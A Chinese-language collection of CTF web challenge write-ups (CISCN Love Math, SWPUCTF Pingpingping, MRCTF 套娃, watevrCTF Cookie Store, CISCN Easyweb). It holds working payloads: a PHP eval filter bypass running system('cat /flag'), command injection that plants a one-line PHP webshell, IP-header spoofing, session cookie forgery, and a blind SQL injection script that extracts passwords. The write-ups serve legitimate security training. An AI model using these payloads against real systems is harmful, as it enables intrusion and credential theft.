[CISCN 2019初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
get传参,参数是c,尝试c可不可以进行命令执行
?c=99-65
然后存在白名单和黑名单的过滤。
在php中有一个特性是可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数
例如:
$a='system';
$a('cat /flag');
通过传递变量后,就会调用system函数,system('cat /flag');
构造payload:?c=($_GET[a])($_GET[b])&a=system&b=cat /flag
它通过get传参变量a和b,然后就是:system('cat /flag');
但是有白名单的限制
所以改成:?c=($_GET[abs])($_GET[cos])&abs=system&cos=cat /flag
但是发现_GET没有办法进行替换,符号[]也被过滤
这里的_GET是ASCII 字符,hex2bin() 函数可以把十六进制值的字符串转换为 ASCII 字符。
用工具将_GET转换成16进制。
16进制就是5f 47 45 54;
又有hex2bin函数,所以hex2bin(5f 47 45 54)就是_GET;
但是白名单里面也没有该hex2bin函数,还需要进行转换;
这里的hex2bin()函数可以通过base_convert()函数来进行转换;
base_convert()函数能够在任意进制之间转换数字。
这里的hex2bin可以看做是36进制,用base_convert来转换将在10进制的数字转换为16进制就可以出现hex2bin
hex2bin=base_convert(37907361743,10,36)
然后里面的5f 47 45 54
dechex() 函数把十进制数转换为十六进制数。
要用dechex()函数将10进制数转换为16进制的数
dechex(1598506324),1598506324转换为16进制就是5f 47 45 54
所以
$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){abs}(($$abs){cos})&abs=system&cos=cat /flag
base_convert(37907361743,10,36)是hex2bin;(dechex(1598506324))是(5f 47 45 54)
所以就是hex2bin(5f 47 45 54),就是_GET
构造payload:?c=$abs=base_convert(37907361743,10,36)(dechex(1598506324));($$abs){abs}(($$abs){cos})&abs=system&cos=cat /flag
但是说太长了,再去仔细看代码
要小于80
看见pi两个字符的
把abs替换成pi
所以最后的payload是:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
[SWPUCTF 2023 秋季新生赛]Pingpingping
分析代码可以发现,检查是否存在参数Ping_ip.exe,如果存在就会执行system函数,那么就可以在执行ping后继续执行我们后面的命令,构造
?Ping_ip.exe=127.0.0.1;ls
结果是返回了error.png,说明我们并没有传入参数,猜测可能符号被进行了转义,这涉及到一个php的特性,PHP中我们变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
,如果传入[
,它被转化为_之后,后面的字符就会被保留下来不会被替换。
所以转义后所传入的参数就是Ping_ip_exe,那么我们就可以把_变成[,这样构造
Ping[ip.exe,传入后就会转义为Ping_ip.exe
所以构造payload:?Ping[ip.exe=127.0.0.1;ls
可以看到确实存在命令执行,直接cat /flag就可以
但是他都没有任何过滤,还可以命令执行,不如写个一句话木马玩玩
构造:
?Ping[ip.exe=127.0.0.1;echo '<?php @eval($_POST["cmd"]); ?>' > shell.php
然后再访问
蚁剑连接
[MRCTF2020]套娃
一个简单的页面 ,查看源代码
可以看到高亮显示的php代码,
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
过滤了下划线_和%5f,而且需要get传参b_u_p_t,参数需要匹配23333字符串,而且不能够和23333字符串数值不相等,类型不相同,这里就需要用到%0a
%0a是换行符,在解码后是\n
然后就是_和%5f的绕过
这里涉及到$_SERVER函数的用法
$_SERVER 是一个超全局变量,在 PHP 中用于访问服务器环境中的各种信息。它是一个关联数组,包含了诸如请求头、路径和脚本位置等信息。
以下是 $_SERVER 常用的一些键(key)和它们的含义:
1、$_SERVER['PHP_SELF']:
当前执行脚本的文件名,相对于网站根目录。
2、$_SERVER['SERVER_NAME']:
当前运行脚本所在服务器主机的名字。
3、$_SERVER['HTTP_HOST']:
当前请求的 Host 头部的内容,用于指定服务器的域名。
4、$_SERVER['REQUEST_METHOD']:
当前请求的 HTTP 方法(例如 GET、POST、HEAD、PUT 等)。
5、$_SERVER['QUERY_STRING']:
查询字符串(如果有的话),例如 id=10&page=2 中的 id=10&page=2 部分。
6、$_SERVER['REMOTE_ADDR']:
客户端的 IP 地址。
7、$_SERVER['HTTP_USER_AGENT']:
发出请求的用户代理的字符串(浏览器等客户端信息)。
8、$_SERVER['REQUEST_URI']:
URI 的完整请求路径,包括查询字符串。
9、$_SERVER['SCRIPT_FILENAME']:
当前执行脚本的绝对路径。
10、$_SERVER['SCRIPT_NAME']:
当前执行脚本的路径。
11、$_SERVER['HTTPS']:
如果是通过 HTTPS 连接,则为 'on',否则为空。
12、$_SERVER['SERVER_PORT']:
服务器端口号(默认为 80)。
例子
http://localhost/aaa/index.php?p=222&q=333
结果:
$_SERVER['QUERY_STRING'] = "p=222&q=333";
$_SERVER['REQUEST_URI'] = "/aaa/index.php?p=222&q=333";
$_SERVER['SCRIPT_NAME'] = "/aaa/index.php";
$_SERVER['PHP_SELF'] = "/aaa/index.php";
由此可知$_SERVER['QUERY_STRING'] 所取的是?后面的内容
这里不能够传入_和%5f,可以使用空格来进行绕过,空格可以是+。+会被解码成空格
传入b+u+p+t时,解码后就是b u p t,
所以构造payload: ?b+u+p+t=23333%0a
secrettw.php访问
翻译下来的意思就是 需要本地IP才能够访问
然后源代码有很多的编码,把它复制到控制台执行
然后给了一个提示,需要POST传入Merak
构造:Merak=123
又跳出来代码
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
包含两个文件takeip.php和flag.php,然后限制了访问范围
当POST传参Merak时就会高亮显示源代码,change
函数接收一个参数,对其进行Base64解码后,按照特定规则对每个字符进行位移操作,生成新的字符串。检查访问者的IP地址,如果不是 127.0.0.1
,则拒绝访问并输出提示。
- 只有当IP地址是
127.0.0.1
且查询参数2333
对应的文件内容是'todat is a happy day'
时,才会执行。 - 使用
change
函数解码$_GET['file']
的内容,并读取相应的文件内容输出。
本地IP伪造:
Client-Ip:127.0.0.1
2333文件中的内容需要为:‘todat is a happy day’,可以使用data伪协议
?2333=data://text/plain,todat+is+a+happy+day
然后就是file的值,需要是flag.php就会读取flag,那么怎么构造呢
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
这个是传入后经过的代码,那么我们就需要把这个代码反过来写,反过来执行
<?php
$a = 'flag.php';
$re = '';
for($i=0;$i<strlen($a);$i++){
$re .= chr( ord ($a[$i]) - $i*2);
}
$re = base64_encode($re);
echo $re;
?>
最后的脚本
执行后
ZmpdYSZmXGI=
所以最后的payload就是:
?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI=
[watevrCTF-2019]Cookie Store
看题目名称就知道是cookie伪造,但要怎么伪造需要我们去发现
可以发现有三个价位可以购买,然后如果买flag.php的cookie是需要100,明显是不够的
抓包后发现
这个是1块价格的抓包
然后是100块价格的抓包,id值不同,所返回的cookie也不同
session=eyJtb25leSI6IDQ5LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIl19
session=eyJtb25leSI6IDQ4LCAiaGlzdG9yeSI6IFsiWXVtbXkgY2hvY29sYXRlIGNoaXAgY29va2llIiwgIll1bW15IGNob2NvbGF0ZSBjaGlwIGNvb2tpZSJdfQ==
解码
那么就很简单了,逻辑漏洞加cookie伪造,把48改成比100大的值,base64编码后伪造cookie
解码:
[CISCN2019 总决赛 Day2 Web1]Easyweb
一个登录界面,其他没有任何信息,进行目录扫描
robots.txt 访问
.bak文件,猜测是源代码
image.php显示的是一张图片,而且存在查询id
尝试访问image.php.bak
id进行了SQL查询,存在SQL注入
?id=\\0&path= or 1=1 %23进行了绕过
但是没有回显,这里就采用二分法的SQL注入
import requests
url = "http://16094b8b-8e2c-421b-b169-415ad3f98106.node5.buuoj.cn:81//image.php?id=\\0&path="
#payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
result = ""
for i in range(1,100):
l = 1
r = 130
mid = (l + r)>>1
while(l<r):
payloads = payload.format(i,mid)
print(url+payloads)
html = requests.get(url+payloads)
if "JFIF" in html.text:
l = mid +1
else:
r = mid
mid = (l + r)>>1
result+=chr(mid)
print(result)
代码分析:
- 目标 URL:http://16094b8b-8e2c-421b-b169-415ad3f98106.node5.buuoj.cn:81/image.php?id=?id=\\0&path=
- 这个 URL 包含了潜在的 SQL 注入点
id
参数,并且通过path
来拼接 payload。
- 这个 URL 包含了潜在的 SQL 注入点
- SQL 注入 Payload:
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
- 这个 payload 的作用是通过查询
users
表中的密码字段,并用二分查找方法逐字猜测密码。通过ascii()
和substr()
,它逐个字符地检查密码的每个字节是否大于一个猜测的值{1}
。
- 二分查找算法:
- 通过设置
l = 1
和r = 130
来猜测 ASCII 值范围(最大字符的 ASCII 值为 127,但为了安全起见,选择了 130)。每次通过调整l
和r
,根据服务器响应来决定是增加猜测值还是减少猜测值,最终确定密码的每个字符。
- 通过设置
- 输出结果:
- 将每个密码字符添加到
result
变量中,最终形成密码。
- 将每个密码字符添加到
爆出密码
b57bcfa9a5b3df28f439
用户admin
登陆成功,一个文件上传页面
不能上传php,同时文件中也不能够有php
传入其他后缀时
但是会发现解析不了,用短文件名绕过上传
直接连接就可以,根目录找到flag